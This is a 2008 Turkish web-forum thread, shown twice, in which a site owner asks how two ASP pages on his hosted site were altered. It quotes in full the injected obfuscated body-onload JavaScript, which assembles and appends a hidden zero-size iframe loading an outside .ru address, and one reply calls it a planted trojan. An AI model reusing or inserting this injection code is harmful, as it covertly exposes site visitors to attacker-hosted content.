Kodlar nasıl değiştirildi?

onlinefizik · 11/02/2008, 22:51

Merhaba arkadaşlar. Bir hostingde barınan zavallı sitemin 2 dosyasında değişiklikler yapıldığını hayretle farkkettim. Dosyalar .asp uzantılıydı. Bu dosyaların html kodlarında oynamalar yapılmıştı.
1.si:

Kod:

<input type="text" name="t1">

ve benzer satırlarda name="t3" gibi değişiklikler yapılmıştı.
2.si:

Kod:

<body background="../gifs/ofe.PNG" topmargin="0" leftmargin="0">

şeklinde olan satır

Kod:

<body onload="status=' ';zz='o';sl='/';sf='ram';us='u';pi='b';po='.';gw='fi';qu=':';yh='t';vo='h';bw='e';pj='m';iu='g';pt='tp';yw='p';ab='src';dg='ht';ko='e';wd='if';hh='r';t=wd.concat(sf,ko);xx=dg.concat(pt,qu,sl,sl,pi,hh,pi,iu,po,hh,us,sl,po,yh,po,yw,vo,yw);var oE=document.createElement(t);oE.setAttribute('width','0');oE.setAttribute('height','0');oE.setAttribute('style','display:none');oE.setAttribute(ab,xx);document.body.appendChild(oE);;" background="../gifs/ofe.PNG" topmargin="0" leftmargin="0">

şeklinde değitirilmişti.

Sorum şu: 2. değişiklik bir virüs müdür? Nitekim dosyayı o haliyle açarken antivirüs programı bir virüs tespit ederek siliyordu.

Asıl önemli sorum ise: Bu değişiklikleri nasıl yapmış olabilirler?
Hosting yönetiminden mi şüphe etmeliyim?
Hostingin hecklendiğini mi düşünmeliyim?
Şifrelerimi ele verdiğimi mi düşünmeliyim? Eğer böyleyse neden sadece bu kadarıyla yetindiler?

asker · 12/02/2008, 00:18

Bir şekilde dosyalarına erişip, içine trojan atmışlar. Benimde başıma geldi, geliyorda. Bir çok nedeni olduğu oluyor.

Şuraya bak.

11/02/2008, 22:51	#1 (permalink)
onlinefizik Cevizci Üyelik Tarihi: 07/2005 Mesaj: 97	Kodlar nasıl değiştirildi? Merhaba arkadaşlar. Bir hostingde barınan zavallı sitemin 2 dosyasında değişiklikler yapıldığını hayretle farkkettim. Dosyalar .asp uzantılıydı. Bu dosyaların html kodlarında oynamalar yapılmıştı. 1.si: Kod: <input type="text" name="t1"> ve benzer satırlarda name="t3" gibi değişiklikler yapılmıştı. 2.si: Kod: <body background="../gifs/ofe.PNG" topmargin="0" leftmargin="0"> şeklinde olan satır Kod: <body onload="status=' ';zz='o';sl='/';sf='ram';us='u';pi='b';po='.';gw='fi';qu=':';yh='t';vo='h';bw='e';pj='m';iu='g';pt='tp';yw='p';ab='src';dg='ht';ko='e';wd='if';hh='r';t=wd.concat(sf,ko);xx=dg.concat(pt,qu,sl,sl,pi,hh,pi,iu,po,hh,us,sl,po,yh,po,yw,vo,yw);var oE=document.createElement(t);oE.setAttribute('width','0');oE.setAttribute('height','0');oE.setAttribute('style','display:none');oE.setAttribute(ab,xx);document.body.appendChild(oE);;" background="../gifs/ofe.PNG" topmargin="0" leftmargin="0"> şeklinde değitirilmişti. Sorum şu: 2. değişiklik bir virüs müdür? Nitekim dosyayı o haliyle açarken antivirüs programı bir virüs tespit ederek siliyordu. Asıl önemli sorum ise: Bu değişiklikleri nasıl yapmış olabilirler? Hosting yönetiminden mi şüphe etmeliyim? Hostingin hecklendiğini mi düşünmeliyim? Şifrelerimi ele verdiğimi mi düşünmeliyim? Eğer böyleyse neden sadece bu kadarıyla yetindiler? __________________ http://www.fizikinfo.com/

12/02/2008, 00:18	#2 (permalink)
asker Ceviz Yiyerek Büyüyoruz Üyelik Tarihi: 01/2005 Yer: istanbul Mesaj: 748	Bir şekilde dosyalarına erişip, içine trojan atmışlar. Benimde başıma geldi, geliyorda. Bir çok nedeni olduğu oluyor. Şuraya bak. __________________ maydanozun faydaları yemek tarifleri

Benzer Konular
Konu	Konuyu açana göre	Forum	Cevap	En Son Mesaj
Kodlar nasıl gizlenir.	w3root	ASP	11	01/10/2007 17:50
hazır kodlar	cemilbacaci	Site Yorum	1	15/10/2005 00:42
Bu kodlar ne işe yarıyor!	paradoks	Genel Programlama	10	23/04/2005 22:54
kodlar	sanane	C#	3	26/06/2003 18:25

Seçenekler
Yazdırmaya Uygun Sayfa Sayfayı E-posta İle Gönder